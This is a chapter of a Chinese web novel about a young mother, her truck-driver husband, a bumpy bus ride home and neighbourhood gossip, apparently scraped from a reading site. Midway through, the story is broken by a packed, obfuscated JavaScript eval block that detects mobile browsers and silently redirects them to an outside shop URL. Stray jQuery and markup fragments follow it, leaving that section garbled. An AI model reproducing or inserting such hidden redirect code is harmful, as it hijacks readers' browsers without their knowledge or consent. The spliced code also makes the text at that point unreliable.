因为没有问到回庆城的大车,所以一家三口只能坐班车回去。

    站台上人很多,都是大包小包的,等了二十来分钟,车子才来。

    售票员从车窗往外探头:“别挤了,前面买票,大件东西放车顶!”

    车里早没座位了,桑来他们没行李,买完票,一家三口被慢慢挤到了后门处。

    偏偏这后门还关不严,桑来不敢用力靠,只单手抓着头顶的拉环。

    车门“砰”的一声关上,油门一踩,车子猛地窜了出去。

    桑来没站稳,下意识去抓身旁抱着孩子的江跃。

    没多会,男人的衣袖上就全是她攥出来的褶。

    桑来悻悻地松手:“不好意思,回去我给你洗。”

    江跃瞅了她一眼:“你扶吧,回去还得两个多小时。”

    也不知道是路况不好,还是司机的性子太急,喜欢急刹,恨不得把车上的乘客给甩出去。

    桑来咬牙握紧吊环,班车停下,又上了几个大包小包的乘客。

    前门被堵住了,乘客扒开后门,从后往前挤,一家三口又顺着人流到了中间。

    桑来欲哭无泪地看着空空如也的头顶,连吊环都没了,只剩下一根贯穿车厢顶部的扶手杆,江跃用着刚好,她得踮着脚才能摸到。

    司机也不等车里的人站稳,车子再次弹了出去。

    桑来保持不住平衡,身体一歪,险些摔到地上,江跃单手抓住她的胳膊,把人提溜了起来。

    他不是什么好脾气的人,厉声骂道:“会开车吗?!哪个师傅教的?急着去投胎啊!”

    这年头,司机这个职业很吃香,走哪都是要被递烟的。

    司机没被乘客这么骂过,正准备回击,一回头看到江跃,尴尬道:“江师傅啊,你咋来这坐车了?”

    江跃神色冰冷:“你跟哪个师傅学的?”

    “赵师傅。”

    江跃:“那你这水平差远了,老赵是部队转业下来的汽车兵,他运货都没你运人这么燥。”

    司机赔笑:“我这不是想快点把大家送到地方吗?我现在开稳点。”

    后面车子果然平稳了不少,桑来有些晕车,脸色发白。

    江跃手里还抱着个孩子,也没法扶她,他捞起桑来的手,放到自己的腰上,淡淡道:“搂着吧。”

    桑来抬头瞅了他一眼,耳根有些发红,心想原主跟他孩子都有了,搂一下又算什么。

    她试探地环住,隔着衬衫触碰到男人劲瘦的腰。

    女人力道软绵绵的,江跃莫名有些不自在:“你要抱就抱紧点!等会摔了我不管你!”

    桑来“噢”了一声,手指赶紧揪住男人的衣服。

    班车行驶了好一会,始终没有空位。

    司机给售票员递了个眼神,售票员会意道:“江师傅,我要查票了,你让老婆孩子来我这坐会吧。”

    司机殷勤地劝道:“是啊,我看嫂子有些晕车,窗边吹会风也好。”

    售票员已经起身,让出了专座。

    江跃便护着桑来往前走,桑来抱着孩子坐在窗口,总算好了一点。

    等售票员检完票回来,桑来立马抱着孩子想起来。

    售票员忙道:“孩子都睡了,你坐吧,我那边有位置。”

    售票员把司机后头的引擎盖座上的东西挪开,腾出了个空当,坐了下来。

    江跃就站在桑来身边,开车的司机趁机跟他聊了下路上的事,江跃总算不再甩脸色,气氛缓和下来。

    好不容易熬到下车,桑来一踩到实地,晕车的症状就好转不少。

    江一诺在车上就已经呼呼大睡了,江跃抱着她下车,三人往家里走。

    还没进巷子,就看到巷口的香樟树下围了一群人,赵红霞也在,大家热火朝天地说着什么,一看到他们,便不说话了。

    江跃抱着孩子也懒得搭理他们,径直回屋,把江一诺放到里屋的床上,又去后院给孩子打水洗脸。

    他端着水盆进来,桑来已经坐到了梳妆台前,开始认真看书了。

    江跃一边给江一诺擦脸,一边朝她道:“我明天早上要出门跑车。”

    桑来立即抬眼看他:“什么时候回来?”

    其实一开始,桑来挺抗拒跟一个陌生男人住在一个屋檐下,总觉得会有诸多不方便。

    不过她现在发现江跃在家里的好处了,首先孩子有人带,有人陪玩。

    她早上起得晚,江一诺醒了有人搞饭吃,碗和衣服也有人洗。

    桑来今早上起来还惊了一下,她昨晚上洗完澡,因为惦记着复习,便只来得及把江一诺的新衣服过了一遍水,她和江一诺换下来的脏衣服则是放在桶里,准备今天回来再洗。

    结果早上起床,衣服全洗干净了,晾在后院,手一摸,都干得差不多了。估计是昨晚上江跃最后一个洗澡,看到桶里的脏衣服就一次性全搓了。

    总之,江跃在家,许多事不用她操心,她当妈还不太熟练,照顾起孩子来也没江跃细心。

    江跃被问得一愣,好半晌才道:“后天下午吧。”

    “那好。”桑来低下头,继续在本子上整理知识点。

    江跃见桑来学习的劲头这么足,想了想,道:“这段时间我再雇个人照顾诺诺吧。”

    “什么?”桑来错愕地站了起来,“孩子又不让我带了?”

    这是要赶她走?回来的路上不是还好好的吗?是不是因为她忙着考大学,所以江跃认为她没时间照顾孩子?

    桑来连忙解释:“我这两天忙,是因为在梳理高考的知识点,等你明天出门了,我就有时间照顾诺诺了。”

    江跃:“孩子还挺闹人的,恐怕会耽误你考大学。”

    桑来摇头:“不会耽误,诺诺也不闹人啊,很好带的。”

    她不是那种非要在安静的环境下才能专注学习的人,她小时候在工厂里长大,机器的轰鸣声并不会打搅她写作业背书,后来家里开了裁缝铺,外面车水马龙,人来人往,她也全然不受影响。

    江跃的本意是,在丁姐回来前雇个人,帮忙洗衣做饭,现在江一诺也会说话了,保姆不敢苛待她,桑来学习之余监督一下,然后晚上再陪着睡觉便好。

    江跃道:“诺诺现在黏你,我不会赶你走,不过你不是一心考大学吗?雇个人洗衣做饭,也能减轻你的负担。”

    桑来依旧拒绝:“还是等丁姐回来吧。”她看了眼床上的小人,低声道,“诺诺挺聪明的,咱俩昨天才聊完离婚,你这个时候雇人,她肯定有想法。”

    况且,她经历过高考,学习时当然要刻苦,不过放假回家了,她还是会照常做家务,去裁缝铺给母亲帮忙,所以照顾一个孩子真算不得什么,她有信心照顾好江一诺。

    桑来保证道:“你就放心出门吧,我会把诺诺带好的。”

    江跃闻言,也只能这样安排了。

    他道:“我去单位一趟,别让孩子睡太久,等会把她叫起来。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812353|210911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    桑来忙不迭答应着。

    直到江跃走了,桑来才松了口气,她看向床上的江一诺,孩子睡得很好,她再次坐回梳妆台前,继续学习。

    *

    香樟树下,街坊邻居们瞧着江跃出门了,才敢继续扯闲篇。

    江跃在家,他们可不敢在他家门口说三道四。

    江跃从小在这长大,谁不知道他的脾性啊,脾气上来了可不管你是谁,小时候就半夜砸你窗户,长大了就直接打上门。

    最近巷子里无非两件新鲜事,其一就是赵红霞的女儿突然闹起离婚,其二就是江一诺差点被拐了。

    现在赵红霞就坐这,聊的自然就是江一诺了。

    这事传得风风雨雨的,说什么的都有。

    孩子被拐的事也瞒不住,前天运输队那么多人去火车站帮忙找孩子,江跃昨天下午又急匆匆地赶了回来。

    只是大家原以为夫妻俩要大吵一架,没想到昨天没什么动静,今天一家三口大清早地出了门,江跃还好端端地把母女俩给送回来了。

    两口子相安无事,令人意想不到。

    赵红霞开口道:“昨天下午应该是吵了,娃娃哭得震天响,我当时不在家,不过郑婶听到了。”

    有人不信,立即问郑婶:“只吵架,没打起来?”

    郑婶摇头:“没打,江跃老婆没哭,只听到娃娃哭了。”

    有街坊感叹:“都说乡下姑娘朴实,江跃讨的这老婆心眼咋这么多呢?”

    赵红霞说:“老李当时不同意,可江跃不听啊,非要娶个农村的,就是图人漂亮。”

    “城里漂亮姑娘也不少啊!”

    “城里的姑娘都得要人捧着的,哪个忍得了他的臭脾气?”

    “江跃就是脾气太差了,按理来说他有铁饭碗,一个月赚不少钱呢,怎么会在城里找不到老婆?”

    “名声也差,城里但凡疼女儿的,哪个舍得把女儿嫁给他!”

    “主要是岳父丈母娘也怕挨打嘛!”

    邻居们笑成一团。

    有婆子说道:“我记得刚进门时这姑娘还是个老实能干的,房梁都恨不得擦得锃光瓦亮的,见人就笑。”

    “哎呀,都是装的啦。”赵红霞说,“我们住隔壁,孩子一生下来,就丁点活都不伸手了,先是闹着要去上班,后来又闹着上学,反正成天往外跑,后来雇了个保姆照顾孩子,她就每天等着吃饭,学校也隔三差五去一回……”

    赵红霞正宣传江跃老婆的光荣事迹,就见她女儿李永美回来了。

    邻居们立刻互相使眼色。

    赵红霞过去问:“小美,你怎么又回来了?”

    李永美昨晚上在娘家歇了一夜,今早上李向前去上班前,特意放了话,说不能让李永美老是待在这里,必须把人送回去。

    于是,赵红霞只能让儿子李永强请了半天假,两人合力把李永美给绑回去了。

    现在,李永美好像正常了一点,没昨天那么疯。

    她亲热地挽着赵红霞的胳膊:“妈,你借我点钱吧。”

    赵红霞:“我哪有钱啊,我工作都给你哥了。”

    “爸总有吧,你偷偷借我点,我以后还你。”

    赵红霞有些警惕:“你要钱干嘛?”

    李永美敷衍道:“肯定是有事嘛,你到底借不借啊?不借就算了,我去找桑来借!”

    赵红霞:“她咋会借你钱?”

    李永美胸有成竹:“她不敢不借。”